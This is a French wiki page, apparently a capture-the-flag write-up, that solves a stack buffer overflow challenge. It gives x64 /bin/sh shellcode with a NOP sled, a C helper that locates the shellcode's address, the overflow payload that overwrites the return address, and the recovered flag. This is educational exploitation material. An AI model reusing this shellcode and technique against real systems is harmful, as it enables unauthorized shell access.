Outils d'utilisateurs

Outils du Site


hackingweek_2014:exploit:exploit3

Ceci est une ancienne révision du document !


Buffer overflow de base avec un array de 64.

On commence par exporter dans une variable d'environnement le shellcode (/bin/sh pour linux x64) avec quelques NOPs (pour le plaisir) :

guest@ns37997:/home/exploit-3$ export SHELLCODE=`python -c 'print "\x90"*5000 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"'`

On récupère l'adresse du shellcode :

guest@ns37997:/home/exploit-3$ /tmp/foo/getenv SHELLCODE ./vulnerable 
> SHELLCODE = 0x7fffffffd5c8

exploitation de l'overflow avec l'adresse du shellcode dans le RIP dans un fichier temporaire :

guest@ns37997:/home/exploit-3$ python -c 'print "A"*72 + "\xc8\xd5\xff\xff\xff\x7f"' > /tmp/foo/xploit

On lance l'exploit :

guest@ns37997:/home/exploit-3$ ./vulnerable `cat /tmp/foo/xploit`

récupération du flag :

sh-4.2$ cat ./.secret 
> eim8naphiG

Code source de getenv (pour récupérer l'adresse du shellcode en environnement) :

#include <stdio.h> #include <stdlib.h> #include <string.h>

int main(int argc, char **argv){
	char *ptr;
	if(argc < 3){
		printf("usage: variable d environnement,  programme\n", argv[0]);
		exit(EXIT_FAILURE);
	}
	ptr = getenv(argv[1]);
	ptr += (strlen(argv[0]) - strlen(argv[2])) *2;
	printf("%s = %p\n", argv[1], ptr);
	return EXIT_SUCCESS;
}
hackingweek_2014/exploit/exploit3.1393806316.txt.gz · Dernière modification: 2017/04/09 15:33 (modification externe)